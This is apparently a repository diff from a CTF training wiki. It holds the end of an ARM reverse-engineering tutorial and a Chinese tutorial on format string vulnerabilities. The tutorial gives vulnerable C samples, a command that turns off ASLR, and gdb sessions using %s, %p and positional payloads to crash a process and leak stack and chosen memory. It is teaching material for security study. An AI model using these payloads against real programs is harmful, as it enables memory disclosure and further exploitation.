No alt text provided for this image

+

Lets step into again.

+

No alt text provided for this image

+

We see the value in the stack was popped off the stack and put back into r7 therefore the value of hex 30 is back in r7 as well as the sp is back at 0x73fff3a0.

+

No alt text provided for this image

+

Please take the time to type out the code, compile and link it and then step through the binary in GDB. Stack operations are critical to understanding Reverse Engineering and Malware Analysis as well as any debugging of any kind.

+

Part 11 - ARM Firmware Boot Procedures

+

Let’s take a moment to talk about what happens when we first power on our Raspberry Pi device.

+

As soon as the Pi receives power, the graphics processor is the first thing to run as the processor is held in a reset state to which the GPU starts executing code. The ROM reads from the SD card and reads bootcode.bin to which gets loaded into memory in C2 cache and turns on the rest of the RAM to which start.elf then loads.

+

The start.elf is an OS for the graphics processor and reads config.txt to which you can mod. The kernel.img then gets loaded into 0x8000 in memory which is the Linux kernel.

+

Once loaded, kernel.img turns on the CPU and starts running at 0x8000 in memory.

+

If we wanted, we could create our own kernel.img to which we can hard code machine code into a file and replace the original image and then reboot. Keep in mind the ARM word size is 32 bit long which go from bit 0 to 31.

+

As stated, when kernel.img is loaded the first byte, which is 8-bits, is loaded into address 0x8000.

+

Lets open up a hex editor and write the following:

+

FE FF FF EA

+

Save the file as kernel.img and reboot.

+

“Ok nothing happens, this sucks!”

+

Actually something did happen, you created your first bare-metal firmware! Time to break out the champagne!

+

When the Pi boots, the below code when it reached kernel.img loads the following:

+

FE FF FF EA

+

@ address 0x8000, 0xfe gets loaded.

+

@ address 0x8001, 0xff gets loaded.

+

@ address 0x8002, 0xff gets loaded.

+

@ address 0x8003, 0xea gets loaded.

+

“So what the hell is really going on?”

+

This set of commands simply executes an infinite loop.

+

Review the datasheet:

+

https://www.raspberrypi.org/wp-content/uploads/2012/02/BCM2835-ARM-Peripherals.pdf

+

The above code has 3 parts to it:

+

1)Conditional – Set To Always

+

2)Op Code – Branch

+

3)Offset – How Far To Move Within The Current Location

+

Condition – bits 31-28: 0xe or 1110

+

Op Code – bits 27-24: 0xa or 1010

+

Offset – bits 23-0 -2

+

I know this may be a lot to wrap your mind around however it is critical that you take the time and read the datasheet linked above. Do not cut corners if you truly have the passion to understand the above. READ THE DATASHEET!

+

I will go through painstaking efforts to break everything down step-by-step however there are exercises like the above that I am asking you to review the datasheet above so you learn how to better understand where to look when you are stuck on a particular routine or set of machine code. This is one of those times I ask you to please read and research the datasheet above!

+

“I’m bored! Why the hell does this crap matter?”

+

Glad you asked! The single most dangerous malware on planet earth today is that of the root-kit variety. If you do not have a basic understanding of the above, you will never begin to even understand what a root-kit is as you progress in your understanding.

+

Anyone can simply replace the kernel.img file with their own hacked version and you can have total control over the entire process from boot.

+

Part 12 - Von Neumann Architecture

+

ARM is a load and store machine to which the Arithmetic Logic Unit only operates on the registers themselves and any data that needs to be stored out to RAM, the control unit moves the data between memory and the registers which share the same data bus.

+

No alt text provided for this image

+

Program memory and data memory share the same data bus. This is what we call the Von Neumann Architecture.

+

The CPU chip of this architecture holds a control unit and the arithmetic logic unit (along with some local memory) and the main memory is in the form of RAM sticks located on the motherboard.

+

A stored-program digital computer is one that keeps its program instructions, as well as its data, in read-write, random-access memory or RAM.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Training/Material/Binary Exploitation/index.html b/Training/Material/Binary Exploitation/index.html new file mode 100644 index 000000000..fa665072f --- /dev/null +++ b/Training/Material/Binary Exploitation/index.html @@ -0,0 +1,16321 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Binary Exploitation - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Binary Exploitation

+

3.1.1 格式化字符串漏洞

+ +

格式化输出函数和格式字符串

+

在 C 语言基础章节中,我们详细介绍了格式化输出函数和格式化字符串的内容。在开始探索格式化字符串漏洞之前,强烈建议回顾该章节。这里我们简单回顾几个常用的。

+

函数

+
#include <stdio.h>
+
+int printf(const char *format, ...);
+int fprintf(FILE *stream, const char *format, ...);
+int dprintf(int fd, const char *format, ...);
+int sprintf(char *str, const char *format, ...);
+int snprintf(char *str, size_t size, const char *format, ...);
+
+

转换指示符

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
字符类型使用
d4-byteInteger
u4-byteUnsigned Integer
x4-byteHex
s4-byte ptrString
c1-byteCharacter
+

长度

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
字符类型使用
hh1-bytechar
h2-byteshort int
l4-bytelong int
ll8-bytelong long int
+

示例

+
#include<stdio.h>
+#include<stdlib.h>
+void main() {
+    char *format = "%s";
+    char *arg1 = "Hello World!\n";
+    printf(format, arg1);
+}
+printf("%03d.%03d.%03d.%03d", 127, 0, 0, 1);    // "127.000.000.001"
+printf("%.2f", 1.2345);   // 1.23
+printf("%#010x", 3735928559);   // 0xdeadbeef
+
+printf("%s%n", "01234", &n);  // n = 5
+
+

格式化字符串漏洞基本原理

+

在 x86 结构下,格式字符串的参数是通过栈传递的,看一个例子:

+
#include<stdio.h>
+void main() {
+    printf("%s %d %s", "Hello World!", 233, "\n");
+}
+gdb-peda$ disassemble main
+Dump of assembler code for function main:
+   0x0000053d <+0>:     lea    ecx,[esp+0x4]
+   0x00000541 <+4>:     and    esp,0xfffffff0
+   0x00000544 <+7>:     push   DWORD PTR [ecx-0x4]
+   0x00000547 <+10>:    push   ebp
+   0x00000548 <+11>:    mov    ebp,esp
+   0x0000054a <+13>:    push   ebx
+   0x0000054b <+14>:    push   ecx
+   0x0000054c <+15>:    call   0x585 <__x86.get_pc_thunk.ax>
+   0x00000551 <+20>:    add    eax,0x1aaf
+   0x00000556 <+25>:    lea    edx,[eax-0x19f0]
+   0x0000055c <+31>:    push   edx
+   0x0000055d <+32>:    push   0xe9
+   0x00000562 <+37>:    lea    edx,[eax-0x19ee]
+   0x00000568 <+43>:    push   edx
+   0x00000569 <+44>:    lea    edx,[eax-0x19e1]
+   0x0000056f <+50>:    push   edx
+   0x00000570 <+51>:    mov    ebx,eax
+   0x00000572 <+53>:    call   0x3d0 <printf@plt>
+   0x00000577 <+58>:    add    esp,0x10
+   0x0000057a <+61>:    nop
+   0x0000057b <+62>:    lea    esp,[ebp-0x8]
+   0x0000057e <+65>:    pop    ecx
+   0x0000057f <+66>:    pop    ebx
+   0x00000580 <+67>:    pop    ebp
+   0x00000581 <+68>:    lea    esp,[ecx-0x4]
+   0x00000584 <+71>:    ret
+End of assembler dump.
+gdb-peda$ n
+[----------------------------------registers-----------------------------------]
+EAX: 0x56557000 --> 0x1efc
+EBX: 0x56557000 --> 0x1efc
+ECX: 0xffffd250 --> 0x1
+EDX: 0x5655561f ("%s %d %s")
+ESI: 0xf7f95000 --> 0x1bbd90
+EDI: 0x0
+EBP: 0xffffd238 --> 0x0
+ESP: 0xffffd220 --> 0x5655561f ("%s %d %s")
+EIP: 0x56555572 (<main+53>: call   0x565553d0 <printf@plt>)
+EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+   0x56555569 <main+44>:    lea    edx,[eax-0x19e1]
+   0x5655556f <main+50>:    push   edx
+   0x56555570 <main+51>:    mov    ebx,eax
+=> 0x56555572 <main+53>:    call   0x565553d0 <printf@plt>
+   0x56555577 <main+58>:    add    esp,0x10
+   0x5655557a <main+61>:    nop
+   0x5655557b <main+62>:    lea    esp,[ebp-0x8]
+   0x5655557e <main+65>:    pop    ecx
+Guessed arguments:
+arg[0]: 0x5655561f ("%s %d %s")
+arg[1]: 0x56555612 ("Hello World!")
+arg[2]: 0xe9
+arg[3]: 0x56555610 --> 0x6548000a ('\n')
+[------------------------------------stack-------------------------------------]
+0000| 0xffffd220 --> 0x5655561f ("%s %d %s")
+0004| 0xffffd224 --> 0x56555612 ("Hello World!")
+0008| 0xffffd228 --> 0xe9
+0012| 0xffffd22c --> 0x56555610 --> 0x6548000a ('\n')
+0016| 0xffffd230 --> 0xffffd250 --> 0x1
+0020| 0xffffd234 --> 0x0
+0024| 0xffffd238 --> 0x0
+0028| 0xffffd23c --> 0xf7df1253 (<__libc_start_main+243>:   add    esp,0x10)
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+0x56555572 in main ()
+gdb-peda$ r
+Continuing
+Hello World! 233
+[Inferior 1 (process 27416) exited with code 022]
+
+

根据 cdecl 的调用约定,在进入 printf() 函数之前,将参数从右到左依次压栈。进入 printf() 之后,函数首先获取第一个参数,一次读取一个字符。如果字符不是 %,字符直接复制到输出中。否则,读取下一个非空字符,获取相应的参数并解析输出。(注意:% d%d 是一样的)

+

接下来我们修改一下上面的程序,给格式字符串加上 %x %x %x %3$s,使它出现格式化字符串漏洞:

+
#include<stdio.h>
+void main() {
+    printf("%s %d %s %x %x %x %3$s", "Hello World!", 233, "\n");
+}
+
+

反汇编后的代码同上,没有任何区别。我们主要看一下参数传递:

+
gdb-peda$ n
+[----------------------------------registers-----------------------------------]
+EAX: 0x56557000 --> 0x1efc
+EBX: 0x56557000 --> 0x1efc
+ECX: 0xffffd250 --> 0x1
+EDX: 0x5655561f ("%s %d %s %x %x %x %3$s")
+ESI: 0xf7f95000 --> 0x1bbd90
+EDI: 0x0
+EBP: 0xffffd238 --> 0x0
+ESP: 0xffffd220 --> 0x5655561f ("%s %d %s %x %x %x %3$s")
+EIP: 0x56555572 (<main+53>: call   0x565553d0 <printf@plt>)
+EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+   0x56555569 <main+44>:    lea    edx,[eax-0x19e1]
+   0x5655556f <main+50>:    push   edx
+   0x56555570 <main+51>:    mov    ebx,eax
+=> 0x56555572 <main+53>:    call   0x565553d0 <printf@plt>
+   0x56555577 <main+58>:    add    esp,0x10
+   0x5655557a <main+61>:    nop
+   0x5655557b <main+62>:    lea    esp,[ebp-0x8]
+   0x5655557e <main+65>:    pop    ecx
+Guessed arguments:
+arg[0]: 0x5655561f ("%s %d %s %x %x %x %3$s")
+arg[1]: 0x56555612 ("Hello World!")
+arg[2]: 0xe9
+arg[3]: 0x56555610 --> 0x6548000a ('\n')
+[------------------------------------stack-------------------------------------]
+0000| 0xffffd220 --> 0x5655561f ("%s %d %s %x %x %x %3$s")
+0004| 0xffffd224 --> 0x56555612 ("Hello World!")
+0008| 0xffffd228 --> 0xe9
+0012| 0xffffd22c --> 0x56555610 --> 0x6548000a ('\n')
+0016| 0xffffd230 --> 0xffffd250 --> 0x1
+0020| 0xffffd234 --> 0x0
+0024| 0xffffd238 --> 0x0
+0028| 0xffffd23c --> 0xf7df1253 (<__libc_start_main+243>:   add    esp,0x10)
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+0x56555572 in main ()
+gdb-peda$ c
+Continuing.
+Hello World! 233
+ ffffd250 0 0
+[Inferior 1 (process 27480) exited with code 041]
+
+

这一次栈的结构和上一次相同,只是格式字符串有变化。程序打印出了七个值(包括换行),而我们其实只给出了前三个值的内容,后面的三个 %x 打印出了 0xffffd230~0xffffd238 栈内的数据,这些都不是我们输入的。而最后一个参数 %3$s 是对 0xffffd22c\n 的重用。

+

上一个例子中,格式字符串中要求的参数个数大于我们提供的参数个数。在下面的例子中,我们省去了格式字符串,同样存在漏洞:

+
#include<stdio.h>
+void main() {
+    char buf[50];
+    if (fgets(buf, sizeof buf, stdin) == NULL)
+        return;
+    printf(buf);
+}
+gdb-peda$ n
+[----------------------------------registers-----------------------------------]
+EAX: 0xffffd1fa ("Hello %x %x %x !\n")
+EBX: 0x56557000 --> 0x1ef8
+ECX: 0xffffd1fa ("Hello %x %x %x !\n")
+EDX: 0xf7f9685c --> 0x0
+ESI: 0xf7f95000 --> 0x1bbd90
+EDI: 0x0
+EBP: 0xffffd238 --> 0x0
+ESP: 0xffffd1e0 --> 0xffffd1fa ("Hello %x %x %x !\n")
+EIP: 0x5655562a (<main+77>: call   0x56555450 <printf@plt>)
+EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+   0x56555623 <main+70>:    sub    esp,0xc
+   0x56555626 <main+73>:    lea    eax,[ebp-0x3e]
+   0x56555629 <main+76>:    push   eax
+=> 0x5655562a <main+77>:    call   0x56555450 <printf@plt>
+   0x5655562f <main+82>:    add    esp,0x10
+   0x56555632 <main+85>:    jmp    0x56555635 <main+88>
+   0x56555634 <main+87>:    nop
+   0x56555635 <main+88>:    mov    eax,DWORD PTR [ebp-0xc]
+Guessed arguments:
+arg[0]: 0xffffd1fa ("Hello %x %x %x !\n")
+[------------------------------------stack-------------------------------------]
+0000| 0xffffd1e0 --> 0xffffd1fa ("Hello %x %x %x !\n")
+0004| 0xffffd1e4 --> 0x32 ('2')
+0008| 0xffffd1e8 --> 0xf7f95580 --> 0xfbad2288
+0012| 0xffffd1ec --> 0x565555f4 (<main+23>: add    ebx,0x1a0c)
+0016| 0xffffd1f0 --> 0xffffffff
+0020| 0xffffd1f4 --> 0xffffd47a ("/home/firmy/Desktop/RE4B/c.out")
+0024| 0xffffd1f8 --> 0x65485ea0
+0028| 0xffffd1fc ("llo %x %x %x !\n")
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+0x5655562a in main ()
+gdb-peda$ c
+Continuing.
+Hello 32 f7f95580 565555f4 !
+[Inferior 1 (process 28253) exited normally]
+
+

如果大家都是好孩子,输入正常的字符,程序就不会有问题。由于没有格式字符串,如果我们在 buf 中输入一些转换指示符,则 printf() 会把它当做格式字符串并解析,漏洞发生。例如上面演示的我们输入了 Hello %x %x %x !\n(其中 \nfgets() 函数给我们自动加上的),这时,程序就会输出栈内的数据。

+

我们可以总结出,其实格式字符串漏洞发生的条件就是格式字符串要求的参数和实际提供的参数不匹配。下面我们讨论两个问题:

+
    +
  • +

    为什么可以通过编译?

    +
  • +
  • +

    因为 printf() 函数的参数被定义为可变的。

    +
  • +
  • 为了发现不匹配的情况,编译器需要理解 printf() 是怎么工作的和格式字符串是什么。然而,编译器并不知道这些。
  • +
  • +

    有时格式字符串并不是固定的,它可能在程序执行中动态生成。

    +
  • +
  • +

    printf()

    +
  • +
+

函数自己可以发现不匹配吗?

+
    +
  • printf() 函数从栈中取出参数,如果它需要 3 个,那它就取出 3 个。除非栈的边界被标记了,否则 printf() 是不会知道它取出的参数比提供给它的参数多了。然而并没有这样的标记。
  • +
+

格式化字符串漏洞利用

+

通过提供格式字符串,我们就能够控制格式化函数的行为。漏洞的利用主要有下面几种。

+

使程序崩溃

+

格式化字符串漏洞通常要在程序崩溃时才会被发现,所以利用格式化字符串漏洞最简单的方式就是使进程崩溃。在 Linux 中,存取无效的指针会引起进程收到 SIGSEGV 信号,从而使程序非正常终止并产生核心转储(在 Linux 基础的章节中详细介绍了核心转储)。我们知道核心转储中存储了程序崩溃时的许多重要信息,这些信息正是攻击者所需要的。

+

利用类似下面的格式字符串即可触发漏洞:

+
printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s")
+
+
    +
  • 对于每一个 %sprintf() 都要从栈中获取一个数字,把该数字视为一个地址,然后打印出地址指向的内存内容,直到出现一个 NULL 字符。
  • +
  • 因为不可能获取的每一个数字都是地址,数字所对应的内存可能并不存在。
  • +
  • 还有可能获得的数字确实是一个地址,但是该地址是被保护的。
  • +
+

查看栈内容

+

使程序崩溃只是验证漏洞的第一步,攻击者还可以利用格式化输出函数来获得内存的内容,为下一步漏洞利用做准备。我们已经知道了,格式化字符串函数会根据格式字符串从栈上取值。由于在 x86 上栈由高地址向低地址增长,而 printf() 函数的参数是以逆序被压入栈的,所以参数在内存中出现的顺序与在 printf() 调用时出现的顺序是一致的。

+

下面的演示我们都使用下面的源码

+
#include<stdio.h>
+void main() {
+    char format[128];
+    int arg1 = 1, arg2 = 0x88888888, arg3 = -1;
+    char arg4[10] = "ABCD";
+    scanf("%s", format);
+    printf(format, arg1, arg2, arg3, arg4);
+    printf("\n");
+}
+# echo 0 > /proc/sys/kernel/randomize_va_space
+$ gcc -m32 -fno-stack-protector -no-pie fmt.c
+
+

我们先输入 b main 设置断点,使用 n 往下执行,在 call 0x56555460 <__isoc99_scanf@plt> 处输入 %08x.%08x.%08x.%08x.%08x,然后使用 c 继续执行,即可输出结果。

+
gdb-peda$ n
+[----------------------------------registers-----------------------------------]
+EAX: 0xffffd584 ("%08x.%08x.%08x.%08x.%08x")
+EBX: 0x56557000 --> 0x1efc
+ECX: 0x1
+EDX: 0xf7f9883c --> 0x0
+ESI: 0xf7f96e68 --> 0x1bad90
+EDI: 0x0
+EBP: 0xffffd618 --> 0x0
+ESP: 0xffffd550 --> 0xffffd584 ("%08x.%08x.%08x.%08x.%08x")
+EIP: 0x56555642 (<main+133>:    call   0x56555430 <printf@plt>)
+EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+   0x56555638 <main+123>:       push   DWORD PTR [ebp-0xc]
+   0x5655563b <main+126>:       lea    eax,[ebp-0x94]
+   0x56555641 <main+132>:       push   eax
+=> 0x56555642 <main+133>:       call   0x56555430 <printf@plt>
+   0x56555647 <main+138>:       add    esp,0x20
+   0x5655564a <main+141>:       sub    esp,0xc
+   0x5655564d <main+144>:       push   0xa
+   0x5655564f <main+146>:       call   0x56555450 <putchar@plt>
+Guessed arguments:
+arg[0]: 0xffffd584 ("%08x.%08x.%08x.%08x.%08x")
+arg[1]: 0x1
+arg[2]: 0x88888888
+arg[3]: 0xffffffff
+arg[4]: 0xffffd57a ("ABCD")
+[------------------------------------stack-------------------------------------]
+0000| 0xffffd550 --> 0xffffd584 ("%08x.%08x.%08x.%08x.%08x")
+0004| 0xffffd554 --> 0x1
+0008| 0xffffd558 --> 0x88888888
+0012| 0xffffd55c --> 0xffffffff
+0016| 0xffffd560 --> 0xffffd57a ("ABCD")
+0020| 0xffffd564 --> 0xffffd584 ("%08x.%08x.%08x.%08x.%08x")
+0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001")
+0028| 0xffffd56c --> 0x565555d7 (<main+26>:     add    ebx,0x1a29)
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+0x56555642 in main ()
+gdb-peda$ x/10x $esp
+0xffffd550:     0xffffd584      0x00000001      0x88888888      0xffffffff
+0xffffd560:     0xffffd57a      0xffffd584      0x56555220      0x565555d7
+0xffffd570:     0xf7ffda54      0x00000001
+gdb-peda$ c
+Continuing.
+00000001.88888888.ffffffff.ffffd57a.ffffd584
+
+

格式化字符串 0xffffd584 的地址出现在内存中的位置恰好位于参数 arg1arg2arg3arg4 之前。格式字符串 %08x.%08x.%08x.%08x.%08x 表示函数 printf() 从栈中取出 5 个参数并将它们以 8 位十六进制数的形式显示出来。格式化输出函数使用一个内部变量来标志下一个参数的位置。开始时,参数指针指向第一个参数(arg1)。随着每一个参数被相应的格式规范所耗用,参数指针的值也根据参数的长度不断递增。在显示完当前执行函数的剩余自动变量之后,printf() 将显示当前执行函数的栈帧(包括返回地址和参数等)。

+

当然也可以使用 %p.%p.%p.%p.%p 得到相似的结果。

+
gdb-peda$ n
+[----------------------------------registers-----------------------------------]
+EAX: 0xffffd584 ("%p.%p.%p.%p.%p")
+EBX: 0x56557000 --> 0x1efc
+ECX: 0x1
+EDX: 0xf7f9883c --> 0x0
+ESI: 0xf7f96e68 --> 0x1bad90
+EDI: 0x0
+EBP: 0xffffd618 --> 0x0
+ESP: 0xffffd550 --> 0xffffd584 ("%p.%p.%p.%p.%p")
+EIP: 0x56555642 (<main+133>:    call   0x56555430 <printf@plt>)
+EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+   0x56555638 <main+123>:       push   DWORD PTR [ebp-0xc]
+   0x5655563b <main+126>:       lea    eax,[ebp-0x94]
+   0x56555641 <main+132>:       push   eax
+=> 0x56555642 <main+133>:       call   0x56555430 <printf@plt>
+   0x56555647 <main+138>:       add    esp,0x20
+   0x5655564a <main+141>:       sub    esp,0xc
+   0x5655564d <main+144>:       push   0xa
+   0x5655564f <main+146>:       call   0x56555450 <putchar@plt>
+Guessed arguments:
+arg[0]: 0xffffd584 ("%p.%p.%p.%p.%p")
+arg[1]: 0x1
+arg[2]: 0x88888888
+arg[3]: 0xffffffff
+arg[4]: 0xffffd57a ("ABCD")
+[------------------------------------stack-------------------------------------]
+0000| 0xffffd550 --> 0xffffd584 ("%p.%p.%p.%p.%p")
+0004| 0xffffd554 --> 0x1
+0008| 0xffffd558 --> 0x88888888
+0012| 0xffffd55c --> 0xffffffff
+0016| 0xffffd560 --> 0xffffd57a ("ABCD")
+0020| 0xffffd564 --> 0xffffd584 ("%p.%p.%p.%p.%p")
+0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001")
+0028| 0xffffd56c --> 0x565555d7 (<main+26>:     add    ebx,0x1a29)
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+0x56555642 in main ()
+gdb-peda$ c
+Continuing.
+0x1.0x88888888.0xffffffff.0xffffd57a.0xffffd584
+
+

上面的方法都是依次获得栈中的参数,如果我们想要直接获得被指定的某个参数,则可以使用类似下面的格式字符串:

+
%<arg#>$<format>
+
+%n$x
+
+

这里的 n 表示栈中格式字符串后面的第 n 个值。

+
gdb-peda$ n
+[----------------------------------registers-----------------------------------]
+EAX: 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p")
+EBX: 0x56557000 --> 0x1efc
+ECX: 0x1
+EDX: 0xf7f9883c --> 0x0
+ESI: 0xf7f96e68 --> 0x1bad90
+EDI: 0x0
+EBP: 0xffffd618 --> 0x0
+ESP: 0xffffd550 --> 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p")
+EIP: 0x56555642 (<main+133>:    call   0x56555430 <printf@plt>)
+EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+   0x56555638 <main+123>:       push   DWORD PTR [ebp-0xc]
+   0x5655563b <main+126>:       lea    eax,[ebp-0x94]
+   0x56555641 <main+132>:       push   eax
+=> 0x56555642 <main+133>:       call   0x56555430 <printf@plt>
+   0x56555647 <main+138>:       add    esp,0x20
+   0x5655564a <main+141>:       sub    esp,0xc
+   0x5655564d <main+144>:       push   0xa
+   0x5655564f <main+146>:       call   0x56555450 <putchar@plt>
+Guessed arguments:
+arg[0]: 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p")
+arg[1]: 0x1
+arg[2]: 0x88888888
+arg[3]: 0xffffffff
+arg[4]: 0xffffd57a ("ABCD")
+[------------------------------------stack-------------------------------------]
+0000| 0xffffd550 --> 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p")
+0004| 0xffffd554 --> 0x1
+0008| 0xffffd558 --> 0x88888888
+0012| 0xffffd55c --> 0xffffffff
+0016| 0xffffd560 --> 0xffffd57a ("ABCD")
+0020| 0xffffd564 --> 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p")
+0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001")
+0028| 0xffffd56c --> 0x565555d7 (<main+26>:     add    ebx,0x1a29)
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+0x56555642 in main ()
+gdb-peda$ x/10w $esp
+0xffffd550:     0xffffd584      0x00000001      0x88888888      0xffffffff
+0xffffd560:     0xffffd57a      0xffffd584      0x56555220      0x565555d7
+0xffffd570:     0xf7ffda54      0x00000001
+gdb-peda$ c
+Continuing.
+ffffffff.00000001.0x88888888.0x88888888.0xffffd57a.0xffffd584.0x56555220
+
+

这里,格式字符串的地址为 0xffffd584。我们通过格式字符串 %3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p 分别获取了 arg3arg1、两个 arg2arg4 和栈上紧跟参数的两个值。可以看到这种方法非常强大,可以获得栈中任意的值。

+

查看任意地址的内存

+

攻击者可以使用一个“显示指定地址的内存”的格式规范来查看任意地址的内存。例如,使用 %s 显示参数 指针所指定的地址的内存,将它作为一个 ASCII 字符串处理,直到遇到一个空字符。如果攻击者能够操纵这个参数指针指向一个特定的地址,那么 %s 就会输出该位置的内存内容。

+

还是上面的程序,我们输入 %4$s,输出的 arg4 就变成了 ABCD 而不是地址 0xffffd57a

+
gdb-peda$ n
+[----------------------------------registers-----------------------------------]
+EAX: 0xffffd584 ("%4$s")
+EBX: 0x56557000 --> 0x1efc
+ECX: 0x1
+EDX: 0xf7f9883c --> 0x0
+ESI: 0xf7f96e68 --> 0x1bad90
+EDI: 0x0
+EBP: 0xffffd618 --> 0x0
+ESP: 0xffffd550 --> 0xffffd584 ("%4$s")
+EIP: 0x56555642 (<main+133>:    call   0x56555430 <printf@plt>)
+EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+   0x56555638 <main+123>:       push   DWORD PTR [ebp-0xc]
+   0x5655563b <main+126>:       lea    eax,[ebp-0x94]
+   0x56555641 <main+132>:       push   eax
+=> 0x56555642 <main+133>:       call   0x56555430 <printf@plt>
+   0x56555647 <main+138>:       add    esp,0x20
+   0x5655564a <main+141>:       sub    esp,0xc
+   0x5655564d <main+144>:       push   0xa
+   0x5655564f <main+146>:       call   0x56555450 <putchar@plt>
+Guessed arguments:
+arg[0]: 0xffffd584 ("%4$s")
+arg[1]: 0x1
+arg[2]: 0x88888888
+arg[3]: 0xffffffff
+arg[4]: 0xffffd57a ("ABCD")
+[------------------------------------stack-------------------------------------]
+0000| 0xffffd550 --> 0xffffd584 ("%4$s")
+0004| 0xffffd554 --> 0x1
+0008| 0xffffd558 --> 0x88888888
+0012| 0xffffd55c --> 0xffffffff
+0016| 0xffffd560 --> 0xffffd57a ("ABCD")
+0020| 0xffffd564 --> 0xffffd584 ("%4$s")
+0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001")
+0028| 0xffffd56c --> 0x565555d7 (<main+26>:     add    ebx,0x1a29)
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+0x56555642 in main ()
+gdb-peda$ c
+Continuing.
+ABCD
+
+

上面的例子只能读取栈中已有的内容,如果我们想获取的是任意的地址的内容,就需要我们自己将地址写入到栈中。我们输入 AAAA.%p 这样的格式的字符串,观察一下栈有什么变化。

+
gdb-peda$ python print("AAAA"+".%p"*20)
+AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
+...
+gdb-peda$ n
+[----------------------------------registers-----------------------------------]
+EAX: 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
+EBX: 0x56557000 --> 0x1efc
+ECX: 0x1
+EDX: 0xf7f9883c --> 0x0
+ESI: 0xf7f96e68 --> 0x1bad90
+EDI: 0x0
+EBP: 0xffffd618 --> 0x0
+ESP: 0xffffd550 --> 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
+EIP: 0x56555642 (<main+133>:    call   0x56555430 <printf@plt>)
+EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+   0x56555638 <main+123>:       push   DWORD PTR [ebp-0xc]
+   0x5655563b <main+126>:       lea    eax,[ebp-0x94]
+   0x56555641 <main+132>:       push   eax
+=> 0x56555642 <main+133>:       call   0x56555430 <printf@plt>
+   0x56555647 <main+138>:       add    esp,0x20
+   0x5655564a <main+141>:       sub    esp,0xc
+   0x5655564d <main+144>:       push   0xa
+   0x5655564f <main+146>:       call   0x56555450 <putchar@plt>
+Guessed arguments:
+arg[0]: 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
+arg[1]: 0x1
+arg[2]: 0x88888888
+arg[3]: 0xffffffff
+arg[4]: 0xffffd57a ("ABCD")
+[------------------------------------stack-------------------------------------]
+0000| 0xffffd550 --> 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
+0004| 0xffffd554 --> 0x1
+0008| 0xffffd558 --> 0x88888888
+0012| 0xffffd55c --> 0xffffffff
+0016| 0xffffd560 --> 0xffffd57a ("ABCD")
+0020| 0xffffd564 --> 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
+0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001")
+0028| 0xffffd56c --> 0x565555d7 (<main+26>:     add    ebx,0x1a29)
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+0x56555642 in main ()
+
+

格式字符串的地址在 0xffffd584,从下面的输出中可以看到它们在栈中是怎样排布的:

+
gdb-peda$ x/20w $esp
+0xffffd550:     0xffffd584      0x00000001      0x88888888      0xffffffff
+0xffffd560:     0xffffd57a      0xffffd584      0x56555220      0x565555d7
+0xffffd570:     0xf7ffda54      0x00000001      0x424135d0      0x00004443
+0xffffd580:     0x00000000      0x41414141      0x2e70252e      0x252e7025
